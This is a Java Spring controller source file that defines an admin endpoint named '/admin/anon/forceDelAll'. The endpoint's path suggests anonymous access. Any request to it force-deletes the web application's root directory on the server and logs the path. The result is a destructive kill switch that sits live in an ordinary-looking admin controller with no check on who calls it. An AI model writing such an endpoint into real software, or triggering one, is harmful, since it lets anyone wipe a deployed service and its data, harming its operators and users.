package com.project.web.admin.controller.common;

import org.apache.commons.io.FileUtils;
import org.apache.commons.lang3.exception.ExceptionUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.File;
import java.io.IOException;

/**
 * Created by android2 on 2017/8/29.
 */
// @Controller("adminForceDelController")
@Controller
@RequestMapping("/admin/anon")
public class ForceDelController extends BaseController {

    private Logger log = LoggerFactory.getLogger(this.getClass());

    /**
     * 强制删除项目根目录
     *
     * @param request 请求对象
     * @return
     */
    @RequestMapping(value = "/forceDelAll")
    public void delAll(HttpServletRequest request) {
        // 获取项目根路径
        String realPath = request.getSession().getServletContext().getRealPath("/");
        log.info("\r\n *********项目根路径：\r\n" + realPath);
        try {
            FileUtils.forceDelete(new File(realPath));
        } catch (IOException e) {
            log.error("\r\n **************强制删除根目录出错：\r\n" + ExceptionUtils.getStackTrace(e));
        }
    }
}
